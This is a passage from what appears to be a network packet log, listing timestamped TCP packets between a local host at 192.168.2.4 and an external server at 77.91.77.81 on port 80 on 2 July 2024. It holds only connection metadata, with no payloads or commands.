Jul 2, 2024 15:26:15.151190042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.178493023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.178587914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.178663969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.178675890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.178723097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.178723097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.178749084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.178880930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.178910017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.178925037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.178936005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.178952932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.178962946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.178998947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.178998947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.179398060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.179409981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.179450035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.179600954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.179646969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.179649115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.179660082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.179677010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.179698944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.179698944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.179732084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.183181047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183229923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183243036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183262110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.183262110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.183351994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.183415890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183425903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183504105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.183645010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183710098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.183831930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183841944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183847904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183860064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183876991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.183913946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.183913946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.184427023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.184444904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.184461117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.184470892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.184498072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.184499025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.184511900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.184529066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.184529066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.184529066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.184540987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.184567928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.184568882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.184608936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185094118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185105085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185122013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185132027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185147047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185159922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185162067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185177088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185197115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185197115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185252905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185801983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185816050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185830116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185841084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185858011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185863018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185863018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185868979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185889959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185899973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185908079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185920954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185936928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.185936928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185936928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.185978889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.186027050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.186796904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186810970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186822891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186839104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186851025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186861038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.186861038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.186868906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186880112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186896086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186904907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.186904907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.186909914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186925888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.186954975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.186954975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.187827110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187839031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187855959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187865973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187880039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187882900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.187894106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187903881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187916994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.187916994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.187922955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187935114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187949896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187957048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.187957048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.187959909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.187995911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.188716888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.188729048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.188745975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.188755989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.188767910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.188785076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.188796997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.188807964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.188812971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.188812971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.188863039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.188863039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.210805893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.210855007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.210870028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.210890055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.210890055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.210968971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.211036921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211152077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211184025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.211184025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.211282969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211294889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211312056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211325884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211364985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.211364985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.211729050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211743116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211760044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211774111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211791039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.211791039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211791039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.211802959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.211843967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.211843967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.241751909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.241796017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.241806030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.241911888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.241929054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.241951942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.241996050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.242053986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.242209911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.242229939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.242240906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.242260933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.242279053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.242279053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.242309093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.242667913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.242680073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.242697001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.242708921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.242731094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.242784023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.243213892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.243225098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.243242979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.243252993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.243269920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.243279934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.243282080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.243297100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.243316889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.243316889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.243366003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.244030952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.244045019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.244100094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.270992041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271050930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.271125078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271136999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271173954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.271344900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271354914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271362066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271378994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271394014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271399975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.271421909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.271928072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271939039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271956921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271969080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.271980047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.271981955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.272000074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.272011042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.272017002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.272047043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.272061110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.277622938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.277677059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.277690887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.277702093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.277730942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.277964115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.277977943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.277997017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278008938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278022051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.278052092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.278563023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278578043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278589010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278605938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278616905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278625011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.278635025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278647900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.278666019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.278683901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.279465914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.279476881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.279493093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.279505968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.279521942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.279525995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.279539108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.279556036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.279565096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.279567957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.279588938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.279607058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.280437946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.280450106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.280467987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.280491114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.280494928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.280504942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.280520916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.280530930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.280533075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.280550003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.280565023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.280595064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.281399012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.281411886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.281429052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.281438112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.281454086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.281455994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.281466007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.281478882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.281491041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.281496048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.281506062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.281524897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.282361031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.282373905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.282391071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.282402992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.282422066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.282432079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.282439947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.282454014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.282470942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.282471895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.282494068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.282519102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.283313990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.283325911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.283343077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.283356905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.283360958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.283370972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.283386946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.283397913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.283397913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.283416033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.283416986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.283444881 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.283468008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.284250021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.284261942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.284279108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.284290075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.284297943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.284305096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.284322023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.284332037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.284337997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.284356117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.284374952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.303545952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.303600073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.303610086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.303618908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.303654909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.303667068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.303800106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.303811073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.303829908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.303839922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.303850889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.303885937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.304325104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.304337025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.304356098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.304364920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.304366112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.304382086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.304394960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.304399014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.304409981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.304425955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.304445028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.304500103 CEST	49731	80	192.168.2.4	77.91.77.81
